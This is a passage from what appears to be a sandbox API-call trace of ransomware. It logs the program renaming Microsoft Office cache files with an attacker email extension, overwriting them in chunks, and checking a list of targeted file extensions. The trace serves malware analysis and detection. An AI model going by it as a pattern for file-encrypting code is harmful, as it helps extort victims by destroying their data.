Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.218] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0206.219] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0206.219] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0206.219] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0206.219] ReadFile (in: hFile=0x198, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.398] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0206.398] ReadFile (in: hFile=0x198, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.465] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0206.465] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0206.465] ReadFile (in: hFile=0x198, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.698] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0206.698] WriteFile (in: hFile=0x198, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0206.710] SetEndOfFile (hFile=0x198) returned 1 [0206.712] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0206.712] WriteFile (in: hFile=0x198, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.713] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0206.713] WriteFile (in: hFile=0x198, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.715] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0206.715] WriteFile (in: hFile=0x198, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.717] CloseHandle (hObject=0x198) returned 1 [0209.530] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0209.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.530] lstrlenW (lpString=".doc") returned 4 [0209.530] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0209.530] lstrlenW (lpString=".docx") returned 5 [0209.530] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0209.530] lstrlenW (lpString=".pdf") returned 4 [0209.530] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0209.530] lstrlenW (lpString=".xls") returned 4 [0209.530] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0209.530] lstrlenW (lpString=".xlsx") returned 5 [0209.530] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0209.530] lstrlenW (lpString=".ppt") returned 4 [0209.530] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0209.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.530] lstrlenW (lpString=".zip") returned 4 [0209.530] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0209.530] lstrlenW (lpString=".rar") returned 4 [0209.530] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0209.530] lstrlenW (lpString=".bz2") returned 4 [0209.530] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0209.530] lstrlenW (lpString=".7z") returned 3 [0209.530] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0209.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.531] lstrlenW (lpString=".dbf") returned 4 [0209.531] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0209.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.531] lstrlenW (lpString=".1cd") returned 4 [0209.531] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0209.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.531] lstrlenW (lpString=".jpg") returned 4 [0209.531] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0209.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.531] lstrlenW (lpString=".doc") returned 4 [0209.531] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0209.531] lstrlenW (lpString=".docx") returned 5 [0209.531] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0209.531] lstrlenW (lpString=".pdf") returned 4 [0209.531] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0209.531] lstrlenW (lpString=".xls") returned 4 [0209.531] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0209.531] lstrlenW (lpString=".xlsx") returned 5 [0209.531] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0209.531] lstrlenW (lpString=".ppt") returned 4 [0209.531] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0209.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.531] lstrlenW (lpString=".zip") returned 4 [0209.531] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0209.531] lstrlenW (lpString=".rar") returned 4 [0209.531] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0209.531] lstrlenW (lpString=".bz2") returned 4 [0209.531] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0209.531] lstrlenW (lpString=".7z") returned 3 [0209.531] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0209.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.531] lstrlenW (lpString=".dbf") returned 4 [0209.531] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0209.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.531] lstrlenW (lpString=".1cd") returned 4 [0209.531] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0209.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0209.531] lstrlenW (lpString=".jpg") returned 4 [0209.531] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0209.531] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0209.531] lstrlenW (lpString="Proof.cab") returned 9 [0209.531] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0209.532] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=21064532) returned 1 [0209.532] CloseHandle (hObject=0x198) returned 1 [0209.532] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0209.532] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.532] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0209.541] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0209.541] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0209.541] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0209.541] ReadFile (in: hFile=0x198, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.708] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0209.708] ReadFile (in: hFile=0x198, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.758] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0209.758] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0209.758] ReadFile (in: hFile=0x198, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.957] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.957] WriteFile (in: hFile=0x198, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0209.966] SetEndOfFile (hFile=0x198) returned 1 [0209.966] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0209.966] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.967] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0209.967] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.968] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0209.968] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.969] CloseHandle (hObject=0x198) returned 1 [0211.373] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0211.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.373] lstrlenW (lpString=".doc") returned 4 [0211.373] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.373] lstrlenW (lpString=".docx") returned 5 [0211.373] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0211.373] lstrlenW (lpString=".pdf") returned 4 [0211.373] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.373] lstrlenW (lpString=".xls") returned 4 [0211.373] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.373] lstrlenW (lpString=".xlsx") returned 5 [0211.373] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0211.373] lstrlenW (lpString=".ppt") returned 4 [0211.373] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.373] lstrlenW (lpString=".zip") returned 4 [0211.373] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.373] lstrlenW (lpString=".rar") returned 4 [0211.374] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.374] lstrlenW (lpString=".bz2") returned 4 [0211.374] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.374] lstrlenW (lpString=".7z") returned 3 [0211.374] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.374] lstrlenW (lpString=".dbf") returned 4 [0211.374] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.374] lstrlenW (lpString=".1cd") returned 4 [0211.374] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.374] lstrlenW (lpString=".jpg") returned 4 [0211.374] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.374] lstrlenW (lpString=".doc") returned 4 [0211.374] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.374] lstrlenW (lpString=".docx") returned 5 [0211.374] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0211.374] lstrlenW (lpString=".pdf") returned 4 [0211.374] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.374] lstrlenW (lpString=".xls") returned 4 [0211.374] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.374] lstrlenW (lpString=".xlsx") returned 5 [0211.374] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0211.374] lstrlenW (lpString=".ppt") returned 4 [0211.374] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.374] lstrlenW (lpString=".zip") returned 4 [0211.374] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.374] lstrlenW (lpString=".rar") returned 4 [0211.374] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.374] lstrlenW (lpString=".bz2") returned 4 [0211.374] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.374] lstrlenW (lpString=".7z") returned 3 [0211.375] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.375] lstrlenW (lpString=".dbf") returned 4 [0211.375] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.375] lstrlenW (lpString=".1cd") returned 4 [0211.375] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0211.375] lstrlenW (lpString=".jpg") returned 4 [0211.375] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.375] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0211.375] lstrlenW (lpString="VisioMUI.msi") returned 12 [0211.375] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0211.375] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=2797568) returned 1 [0211.375] CloseHandle (hObject=0x198) returned 1 [0211.375] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0211.375] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.375] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0211.376] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0211.376] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0211.376] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.376] ReadFile (in: hFile=0x198, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.494] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.494] ReadFile (in: hFile=0x198, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.519] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.519] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.519] ReadFile (in: hFile=0x198, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.561] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.561] WriteFile (in: hFile=0x198, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0211.597] SetEndOfFile (hFile=0x198) returned 1 [0211.597] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.597] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.598] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.598] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.602] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.602] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.604] CloseHandle (hObject=0x198) returned 1 [0211.604] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0211.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") 